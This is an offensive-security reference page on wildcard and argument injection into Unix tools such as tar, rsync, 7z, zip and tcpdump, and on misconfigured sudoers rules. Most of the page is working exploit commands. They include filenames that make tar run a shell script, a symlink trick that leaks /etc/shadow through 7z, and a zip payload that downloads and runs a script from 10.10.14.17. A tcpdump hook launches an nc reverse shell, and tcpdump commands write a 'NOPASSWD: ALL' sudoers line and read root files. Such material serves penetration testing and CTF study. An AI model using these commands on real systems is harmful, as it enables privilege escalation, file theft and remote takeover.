Wildcards Spare Tricks

Reading time: 10 minutes

Wildcard (aka glob) argument injection happens when a privileged script runs a Unix binary such as tar, chown, rsync, zip, 7z, … with an unquoted wildcard like *.
Since the shell expands the wildcard before executing the binary, an attacker who can create files in the working directory can craft filenames that begin with - so they are interpreted as options instead of data, effectively smuggling arbitrary flags or even commands.
This page collects the most useful primitives, recent research and modern detections for 2023-2025.

chown / chmod

You can copy the owner/group or the permission bits of an arbitrary file by abusing the --reference flag:

# attacker-controlled directory
touch "--reference=/root/secret``file"   # ← filename becomes an argument

When root later executes something like:

chown -R alice:alice *.php
chmod -R 644 *.php

--reference=/root/secret``file is injected, causing all matching files to inherit the ownership/permissions of /root/secret``file.

PoC & tool: wildpwn (combined attack).
See also the classic DefenseCode paper for details.

tar

GNU tar (Linux, *BSD, busybox-full)

Execute arbitrary commands by abusing the checkpoint feature:

# attacker-controlled directory
echo 'echo pwned > /tmp/pwn' > shell.sh
chmod +x shell.sh
touch "--checkpoint=1"
touch "--checkpoint-action=exec=sh shell.sh"

Once root runs e.g. tar -czf /root/backup.tgz *, shell.sh is executed as root.

bsdtar / macOS 14+

The default tar on recent macOS (based on libarchive) does not implement --checkpoint, but you can still achieve code-execution with the --use-compress-program flag that allows you to specify an external compressor.

# macOS example
touch "--use-compress-program=/bin/sh"

When a privileged script runs tar -cf backup.tar *, /bin/sh will be started.

rsync

rsync lets you override the remote shell or even the remote binary via command-line flags that start with -e or --rsync-path:

# attacker-controlled directory
touch "-e sh shell.sh"        # -e <cmd> => use <cmd> instead of ssh

If root later archives the directory with rsync -az * backup:/srv/, the injected flag spawns your shell on the remote side.

PoC: wildpwn (rsync mode).

7-Zip / 7z / 7za

Even when the privileged script defensively prefixes the wildcard with -- (to stop option parsing), the 7-Zip format supports file list files by prefixing the filename with @. Combining that with a symlink lets you exfiltrate arbitrary files:

# directory writable by low-priv user
cd /path/controlled
ln -s /etc/shadow   root.txt      # file we want to read
touch @root.txt                  # tells 7z to use root.txt as file list

If root executes something like:

7za a /backup/`date +%F`.7z -t7z -snl -- *

7-Zip will attempt to read root.txt (→ /etc/shadow) as a file list and will bail out, printing the contents to stderr.

zip

Two very practical primitives exist when an application passes user-controlled filenames to zip (either via a wildcard or by enumerating names without --).

• RCE via test hook: -T enables “test archive” and -TT <cmd> replaces the tester with an arbitrary program (long form: --unzip-command <cmd>). If you can inject filenames that start with -, split the flags across distinct filenames so short-options parsing works:

# Attacker-controlled filenames (e.g., in an upload directory)
# 1) A file literally named: -T
# 2) A file named: -TT wget 10.10.14.17 -O s.sh; bash s.sh; echo x
# 3) Any benign file to include (e.g., data.pcap)
# When the privileged code runs: zip out.zip <files...>
# zip will execute: wget 10.10.14.17 -O s.sh; bash s.sh; echo x

Notes

• Do NOT try a single filename like '-T -TT <cmd>' — short options are parsed per character and it will fail. Use separate tokens as shown.
• If slashes are stripped from filenames by the app, fetch from a bare host/IP (default path /index.html) and save locally with -O, then execute.
• You can debug parsing with -sc (show processed argv) or -h2 (more help) to understand how your tokens are consumed.

Example (local behavior on zip 3.0):

zip test.zip -T '-TT wget 10.10.14.17/shell.sh' test.pcap    # fails to parse
zip test.zip -T '-TT wget 10.10.14.17 -O s.sh; bash s.sh' test.pcap  # runs wget + bash

• Data exfil/leak: If the web layer echoes zip stdout/stderr (common with naive wrappers), injected flags like --help or failures from bad options will surface in the HTTP response, confirming command-line injection and aiding payload tuning.

Additional binaries vulnerable to wildcard injection (2023-2025 quick list)

The following commands have been abused in modern CTFs and real environments. The payload is always created as a filename inside a writable directory that will later be processed with a wildcard:

These primitives are less common than the tar/rsync/zip classics but worth checking when hunting.

tcpdump rotation hooks (-G/-W/-z): RCE via argv injection in wrappers

When a restricted shell or vendor wrapper builds a tcpdump command line by concatenating user-controlled fields (e.g., a "file name" parameter) without strict quoting/validation, you can smuggle extra tcpdump flags. The combo of -G (time-based rotation), -W (limit number of files), and -z <cmd> (post-rotate command) yields arbitrary command execution as the user running tcpdump (often root on appliances).

Preconditions:

• You can influence argv passed to tcpdump (e.g., via a wrapper like /debug/tcpdump --filter=... --file-name=<HERE>).
• The wrapper does not sanitize spaces or --prefixed tokens in the file name field.

Classic PoC (executes a reverse shell script from a writable path):

# Reverse shell payload saved on the device (e.g., USB, tmpfs)
cat > /mnt/disk1_1/rce.sh <<'EOF'
#!/bin/sh
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f|/bin/sh -i 2>&1|nc 192.0.2.10 4444 >/tmp/f
EOF
chmod +x /mnt/disk1_1/rce.sh

# Inject additional tcpdump flags via the unsafe "file name" field
/debug/tcpdump --filter="udp port 1234" \
  --file-name="test -i any -W 1 -G 1 -z /mnt/disk1_1/rce.sh"

# On the attacker host
nc -6 -lvnp 4444 &
# Then send any packet that matches the BPF to force a rotation
printf x | nc -u -6 [victim_ipv6] 1234

Details:

• -G 1 -W 1 forces an immediate rotate after the first matching packet.
• -z <cmd> runs the post-rotate command once per rotation. Many builds execute <cmd> <savefile>. If <cmd> is a script/interpreter, ensure the argument handling matches your payload.

No-removable-media variants:

• If you have any other primitive to write files (e.g., a separate command wrapper that allows output redirection), drop your script into a known path and trigger -z /bin/sh /path/script.sh or -z /path/script.sh depending on platform semantics.
• Some vendor wrappers rotate to attacker-controllable locations. If you can influence the rotated path (symlink/directory traversal), you can steer -z to execute content you fully control without external media.

sudoers: tcpdump with wildcards/additional args → arbitrary write/read and root

Very common sudoers anti-pattern:

(ALL : ALL) NOPASSWD: /usr/bin/tcpdump -c10 -w/var/cache/captures/*/<GUID-PATTERN> -F/var/cache/captures/filter.<GUID-PATTERN>

Issues

• The * glob and permissive patterns only constrain the first -w argument. tcpdump accepts multiple -w options; the last one wins.
• The rule doesn’t pin other options, so -Z, -r, -V, etc. are allowed.

Primitives

• Override destination path with a second -w (first only satisfies sudoers):

sudo tcpdump -c10 -w/var/cache/captures/a/ \
  -w /dev/shm/out.pcap \
  -F /var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa

• Path traversal inside the first -w to escape the constrained tree:

sudo tcpdump -c10 \
  -w/var/cache/captures/a/../../../../dev/shm/out \
  -F/var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa

• Force output ownership with -Z root (creates root-owned files anywhere):

sudo tcpdump -c10 -w/var/cache/captures/a/ -Z root \
  -w /dev/shm/root-owned \
  -F /var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa

• Arbitrary-content write by replaying a crafted PCAP via -r (e.g., to drop a sudoers line):

# On attacker box: craft a UDP packet stream that carries the target line
printf '\n\nfritz ALL=(ALL:ALL) NOPASSWD: ALL\n' > sudoers
sudo tcpdump -w sudoers.pcap -c10 -i lo -A udp port 9001 &
cat sudoers | nc -u 127.0.0.1 9001; kill %1

# On victim (sudoers rule allows tcpdump as above)
sudo tcpdump -c10 -w/var/cache/captures/a/ -Z root \
  -r sudoers.pcap -w /etc/sudoers.d/1111-aaaa \
  -F /var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa

• Arbitrary file read/secret leak with -V <file> (interprets a list of savefiles). Error diagnostics often echo lines, leaking content:

sudo tcpdump -c10 -w/var/cache/captures/a/ -V /root/root.txt \
  -w /tmp/dummy \
  -F /var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa

References

• GTFOBins - tcpdump
• GTFOBins - zip
• 0xdf - HTB Dump: Zip arg injection to RCE + tcpdump sudo misconfig privesc
• FiberGateway GR241AG - Full Exploit Chain